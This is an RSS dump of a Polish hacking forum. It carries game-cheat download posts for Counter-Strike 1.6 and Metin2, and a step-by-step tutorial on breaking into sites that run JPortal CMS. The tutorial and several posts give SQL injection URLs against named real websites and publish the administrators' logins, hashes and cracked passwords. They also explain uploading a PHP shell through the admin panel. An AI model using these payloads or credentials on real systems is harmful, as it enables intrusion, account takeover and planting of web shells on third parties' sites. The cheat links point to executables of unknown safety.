Net Hax http://www.nethax.pun.pl Net Hax pl http://backend.userland.com/rss [Metin] Cheats http://www.nethax.pun.pl/viewtopic.php?pid=20#p20 20@http://www.nethax.pun.pl PiĹĄtek 21 Listopad PiĹĄtek 21 Listopad [Cheat][CS-1.6] SSW v2.8 http://www.nethax.pun.pl/viewtopic.php?pid=17#p17 17@http://www.nethax.pun.pl

Kod:

http://www.mpcdownloads.com/forums/downloads/CS1.6/SSW-(Super-Simple-Wall)-v5.0/7484.html
Klikamy na download na dole strony :) Aha, a kolega MD Hac(k)er łapie bana ;)]]> Czwartek 23 PaŸdziernik Czwartek 23 PaŸdziernik [Cheat][CS-1.6] SSW v2.8 http://www.nethax.pun.pl/viewtopic.php?pid=16#p16 16@http://www.nethax.pun.pl Czwartek 23 PaŸdziernik Czwartek 23 PaŸdziernik [Kody] Counter Strike 1.6 http://www.nethax.pun.pl/viewtopic.php?pid=13#p13 13@http://www.nethax.pun.pl Mam dzis do zaprezentowania Kody do Cs 1.6 no to zaczynamy

Podczas gry naciskamy tyldę ( ~ ) ( ten klawisz pod esc = escape ) Po nacisnięciu włączy się konsola gdzie wpisuje się kody ( działają tylko na localhoście, chyba że mamy dostęp do RCONa, wtedy piszemy rcon_password "hasło", i piszemy np. rcon sv_gravity 800 )

sv_gravity 0-xxx --grawitacja ( domyślnie 800 )
mp_autoteambalance 0-1 --automatyczny balans drużyn ( dom. 1 )
mp_limitteam 0-xxx limit graczy w drużynie ( dom. 8 )
mp_c4timer 15s-xxxs czas wybuchu C4 w sekundach ( dom. 45s, min. 15s )
mp_flashlight 1 --jeśli 1, gracze mogą używać latarek

Znam tylko takie, ale mam nadzieje ze pomogłem. Miłego grania.

// ReporteR: Całkowity brak ortografii ! Piszemy "drużyn" a nie "dróżyn" ! Używaj przecinków i kropek. 0 interpunkcji ! 1 ostrzeżenie, za 2 nie masz możliwości ubiegania się o moda, za 3 ban. Jak piszesz posta, to przeglądarka podkreśla złe słowa. Skorzystaj z tego ! Ogarnij chłopie, to forum a nie brudnopis...]]> Œroda 22 PaŸdziernik Œroda 22 PaŸdziernik [Cheat][CS-1.6] SSW v2.8 http://www.nethax.pun.pl/viewtopic.php?pid=12#p12 12@http://www.nethax.pun.pl Zaczne tak
Mam do zaprezentowania Super Simple WallHack v2.8 ten hack służy do Counter Strike v.1.6
Mianowicie ten hack służy do np. Widzenia przez sciany ja w nim odkryłem nawet funkcje latania ale to potem.
Hack pozwala nawet na zabicie wroga nawet za 4 scianami.
Ale nie będe przynudzał oto hack.

Kod:

http://[XXXXXX].com[XXXXXX]53061189/[XXXXXX].rar.
Hack nie posiada zadnego virusa ale jeśli sie boicie to przeskanujcie go sobie

Mam nadzieje że chociarz troche pomogłem:D:D:D:D:D
Narq

// ReporteR: Nawet nie chce mi się poprawiać. 0 jakiejkolwiek przejrzystości posta ! I - o ile mi wiadomo - jest już wersja 5.0 ! A ty dałeś 2.8 ! I PRZECZYTAJ REGULAMIN ! NIE TOLERUJEMY [XXXXXX] ! No ale dam Co jeszcze jedną szansę... :/]]> Œroda 22 PaŸdziernik Œroda 22 PaŸdziernik [Cheat] Metin2 http://www.nethax.pun.pl/viewtopic.php?pid=11#p11 11@http://www.nethax.pun.pl
Skan pliku, jakby ktoś myślał, że to wirus:

Kod:

http://www.virustotal.com/pl/analisis/a1934ee4e2bf1db842cc63
Download:

Kod:

http://www.speedyshare.com/376786393.html.
Instrukcja:

Pobieramy i uruchamiamy plik.
Otwiera się nam czarne okienko
Czekamy..
Czekamy..
xD - trzeba trochę poczekać
Wyświetli się nam napis: "please running metin2.exe"
Uruchamiamy metina
Możemy wyłączyć program
Teraz logujemy się i patrzymy jak kasa leci

A oto postac jaką kupiłem za yangi dzięki hackowi:
http://img84.imageshack.us/my.php?image=1260wr2.jpg]]> Œroda 22 PaŸdziernik Œroda 22 PaŸdziernik [JPortal] www.prison.org.pl http://www.nethax.pun.pl/viewtopic.php?pid=10#p10 10@http://www.nethax.pun.pl
Błąd:

Kod:

http://www.prison.org.pl/articles.php?topic=-1+union+select+1,concat(nick,char(58),pass),3,4,5+from+jp_admins--
Wynik:

Kod:

cyber156:3d36e867fac87242d740bb25ceb551d9
Odkodowane:

Kod:

Login: cyber156
Hasło: prison
]]> Œroda 22 PaŸdziernik Œroda 22 PaŸdziernik [JPortal] www.diabetica.pl http://www.nethax.pun.pl/viewtopic.php?pid=9#p9 9@http://www.nethax.pun.pl
Błąd:

Kod:

http://www.diabetica.pl/articles.php?topic=-1+union+select+1,concat(nick,char(58),pass),3,4,5+from+admins--
Wynik:

Kod:

admin:11dc4b47bdf21ac670554bb4bb5eaefb
Odkodowane:

Kod:

database : Nie znaleziono
passcracking.ru : Nie znaleziono
md5crack.com : Nie znaleziono
tydal.nu : Nie znaleziono
gdataonline.com : Nie znaleziono
securitystats.com : Nie znaleziono
milw0rm.com : Nie znaleziono
md5.rednoize.com : Nie znaleziono
md5decryption.com : Nie znaleziono
md5.thekaine.de : Nie znaleziono
authsecu.com : Nie znaleziono
generuj.pl : Nie znaleziono
hashcrack.com : Nie znaleziono
md5oogle.com : Nie znaleziono
md5.xpzone.de : Nie znaleziono
insidepro.com : Nie znaleziono
ice.breaker.free.fr : Nie znaleziono
md5decrypter.com : Nie znaleziono
hashkiller.com : Nie znaleziono
md5live.com : Nie znaleziono
md5crack.it-helpnet.de : Nie znaleziono
astalavista.net : Nie znaleziono
md5pass.info : Nie znaleziono
md5.xek.cc : Nie znaleziono
md5.3mt3.pl : Nie znaleziono
NIE MOŻNA ODKODOWAĆ !!!
Panel Admina:

Kod:

http://www.diabetica.pl/admin.php
]]> Œroda 22 PaŸdziernik Œroda 22 PaŸdziernik [JPortal] ferrari-f1.ovh.org http://www.nethax.pun.pl/viewtopic.php?pid=8#p8 8@http://www.nethax.pun.pl
Błąd:

Kod:

http://ferrari-f1.ovh.org/jportal/articles.php?topic=-1+union+select+1,concat(nick,char(58),pass),3,4,5+from+admins--
Wynik:

Kod:

Skowi:d917dd4906e97b999ec18f51ab95fde3
Odkodowane:

Kod:

Login: Skowi
Hasło: gkstychy
Panel Admina:

Kod:

http://ferrari-f1.ovh.org/jportal/admin.php
]]> Œroda 22 PaŸdziernik Œroda 22 PaŸdziernik [Tutorial] Hacking JPortal 2 http://www.nethax.pun.pl/viewtopic.php?pid=7#p7 7@http://www.nethax.pun.pl Średni

Każdy od czegoś zaczynał. My dzisiaj zaczniemy przygodę z JPortalem - powędrujemy przez kolumny, tabele, aż w końcu dojdziemy do celu - loginu i hasła administratora strony :)

Co potrzebujemy:

- Podstawową wiedzę o SQL Injection ( union select ),
- Stronę opartą na CMS'ie JPortal 2,
- Myszkę, klawiaturę, internet, po wejściu we wprawę ok. 2 min. na rozwalenie stronki.

Zaczynamy ! Najpierw potrzebujemy jakiejś strony opartej na JPortalu. Dlaczego ? Ponieważ ten CMS jest dziurawy jak ser szwajcarski. I to już nie moja opinia - ale widoczny fakt ! Ale nie o tym chcę pisać. Ok, powrót do tematu. Skorzystamy z Google Doorka ;)

Ukryta wiadomość:
"Powered by JPortal"
Takie zapytanie do wujka google'a zwróci nam masę stron ( polskich i zagranicznych ) opartych na tym CMS'ie. Wybieramy 1 na przynętę - aby nie była to jakaś zwykła stronka, wezmę taką z domeną .PL, czyli posłużymy się przykładem:

Ukryta wiadomość:
http://www.piaskovia.pl/
No dobrze, stronę już mamy, co dalej ? Musimy teraz znaleźć błąd. Na czym to polega - musimy spowodować, że baza danych zwróci wartość błędną po podaniu do niej nieprawdziwego zapytania, np. id=-1. Jak wiemy - może być 1 post, 2 post, ale nie ma -1 posta ;) W przypadku JPortala znajdziemy błąd w każdym ( prawie ) zapytaniu ID - nie jest ono filtrowane. No dobrze, więc zobaczmy coś takiego:


Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1
Wyświetli się sama strona - bez żadnych danych. Po prostu tj. pusty artykuł. Wywołajmy błąd, czyli zakończmy polecenie SQL.

Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1'
Co widzimy ?

Ukryta wiadomość:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/piaskovi/public_html/module/art.inc.php on line 240
To będzie nasz przewodnik. Teraz musimy zbudować zapytanie z union select ( SQL Injection ).

Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1+union+select+1--
Zapytanie to daje nam to samo co zapytanie z -1'. Ale zauważcie, że tu już nie ma '. Teraz pojawiło się polecenie union select. A oto dokładne wyjaśnienie co jest czym:

Ukryta wiadomość:
-1 | fałszywa wartość
union select | wybieranie ( selekcja ) jakiejś wartości z bazy danych MySQL
+ | tutaj zastępuje spację. Nie możemy używać zwykłej spacji, ponieważ zapytanie nie będzie interpretowane przez bazę
1 | to liczba tabeli. Musimy po kolei dodawać liczby ( 1-- 1,2-- 1,2,3-- ) tak długo, aż błąd nie zniknie
-- | działa jak ' - jest to oznaczenie końca polecenia
No, teraz czas na dodawanie po kolei tabel tak długo, aż błąd się nie pojawi. Jedziemy po kolei:

Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1+union+select+1--
http://www.piaskovia.pl/articles.php?to … lect+1,2--
http://www.piaskovia.pl/articles.php?to … ct+1,2,3--
http://www.piaskovia.pl/articles.php?to … +1,2,3,4--
Dalej mamy błąd. Ale teraz:

Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1+union+select+1,2,3,4,5--
błędu nie ma ! Zniknął. Zamiast tego obok "Artykuły >" pojawiła się liczba 2:

Ukryta wiadomość:
Artykuły > 2
Ta 2 to numer tabeli, w który możemy "wstrzyknąć" nasz kod. No to zaczynamy. Wywołamy polecenie concat:

Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1+union+select+1,concat(nick,char(58),pass),3,4,5--
Polecenie nie zostało wykonane. Zamiast tego znów mamy error. Dlaczego ? Bo nie ma w zapytaniu skąd ma pobrać te dane. Oto poprawne zapytanie:

Ukryta wiadomość:
http://www.piaskovia.pl/articles.php?topic=-1+union+select+1,concat(nick,char(58),pass),3,4,5+from+jp_admins--
Objaśnienie:

Ukryta wiadomość:
concat | wyświetla kolumny podane w nawiasie
nick | domyślna nazwa kolumny dla loginu
pass | domyślna nazwa kolumny dla hasła
from | czyli z ( np. select login from users oznacza "wybierz login z users" ).
jp_admins | to nazwa tabeli, w której znajdują się hasła administratorów. Najczęściej jest to "admins" lub "jp_admins".
char(58) | char oznacza, że wstawiamy jakiś znak, a w nawiasie (58) podaliśmy kod ASCII tego znaku - w naszym wypadku dwukropek. Dzięki temu pomiędzy loginem a hasłem będzie dwukropek, np. admin:hash. Bez tego źle odczytywało by się dane, np. adminhash.
No to mamy:

Ukryta wiadomość:
admin:ac1836c26af209bf79b668afaa7daef2
login:hasło

Login: admin
Hash hasła MD5 ( nie hasło ! ): ac1836c26af209bf79b668afaa7daef2
Pamiętajcie, że hasło jest zakodowane w algorytmie MD5 ! Musicie je odkodować. Polecam stronkę:

Ukryta wiadomość:
http://md5search.org/
Wklejamy hash, przepisujemy kod z tokena, i już mamy wynik !

Ukryta wiadomość:
database : waldorf
Czyli jak widać:

Ukryta wiadomość:
Login: admin
Hasło: waldorf
Teraz wystarczy wejść w panel administratora:

Ukryta wiadomość:
http://www.piaskovia.pl/admin.php
I zalogować się na zdobyte dane :) Prawda że proste ? I szybkie. Wbrew pozorom nie jest to takie trudne, na jakie wygląda. Po kilku próbach sami będziecie poprawiać swoje błędy, i śmiać się z twórców JPortala ;) Na koniec małe informacje:

1. W JPortalu liczba kolumn zawsze ( 99,99% ) wynosi 5. Czyli zawsze wpisujemy 1,2,3,4,5-- ;)
2. Aby wgrać shella, wchodzimy na panel administratora, w menu klikamy "Download", i w "Uploaderze" podajemy ścieżkę do shella ( do shell.php ). Następnie przechodzimy do http://www.strona.pl/uploads/download/n … hella.php. I już :) Na naszym przykładzie jest to:

Ukryta wiadomość:
http://www.piaskovia.pl/uploads/download/shell.php
3. Nie ruszajcie podaje w przykładzie strony - każdy chce zobaczyć ! Nie zmieniajcie nic, po prostu uszanujcie to, że inni też chcą z tego skorzystać.
4. Ten tutorial został stworzony WYŁĄCZNIE W CELACH EDUKACYJNYCH, i nie ponoszę odpowiedzialności za nieumiejętne lub niezgodne z prawem wykorzystanie jego zawartości. Musiałem to napisać...

Pozdrawiam, i zapowiadam następny tutorial, w którym bardziej zgłębimy tajemnice SQL Injection. Poznamy ataki na strony oparte na komercyjnych CMSach, a także wykorzystamy w nich atak IS ( Information.Schema ). Gorąco zapraszam wszystkich do rejestracji - tylko wtedy zobaczycie co kryje się w ukrytym tekście ;)]]> Wtorek 21 PaŸdziernik Wtorek 21 PaŸdziernik Advanced Anti Keylogger 3.7 http://www.nethax.pun.pl/viewtopic.php?pid=6#p6 6@http://www.nethax.pun.pl Wtorek 21 PaŸdziernik Wtorek 21 PaŸdziernik Advanced Anti Keylogger 3.7 http://www.nethax.pun.pl/viewtopic.php?pid=4#p4 4@http://www.nethax.pun.pl Pamiętacie dawne gry Online: Mu online, Tibia, Metin 2, Knight Online, Lineage 2...
Pamiętacie ile razy skradziono wam hasła do tych lub innych gier...
Tylko dlatego, że przez przypadek pobraliście coś nieznajomego, albo odebraliście poczcie internetowej dziwny e-mail...

TO WSZYSTKO PRZEZ KEYLOGGERA !

Proponuje to: Advanced Anti Keylogger 3.7

KONIEC Z TRACENIEM KONT !
KONIEC DENERWOWANIA SIĘ, ŻE KTOŚ WAM UKRADNIE KONTO !

Zabezpieczcie się Anty Keyloggerem, oto link:

Kod:

http://www.programosy.pl/program,anti-keylogger.html
// ReporteR: W temacie podajemy nazwę, a linki bierzemy w BBCode. Pamiętaj o tym !]]> Wtorek 21 PaŸdziernik Wtorek 21 PaŸdziernik [Metin] Cheats http://www.nethax.pun.pl/viewtopic.php?pid=2#p2 2@http://www.nethax.pun.pl
- Yang Hack
- Exp Hack
- Fish Bot
- Radar Bot
- Monkey Bot
- Speed Hack

A także:

- Cheat Engine - program działa jak hexedytor - wyszukujemy wartość, po czym dowolnie ją modyfikujemy.

W tym temacie będę selektywnie dodawał najnowsze produkcje. Oto 1 z nich - zawiera:

- Speed Hack
- Multihack Selector
- Fishing Bot
- Trade Bot

Oto link do pliku: http://[XXXXXX].com[XXXXXX]140521631/[XXXXXX].exe.html

// ReporteR: Przeczytaj regulamin. Link wymoderowano. Popraw to !]]> Wtorek 21 PaŸdziernik Wtorek 21 PaŸdziernik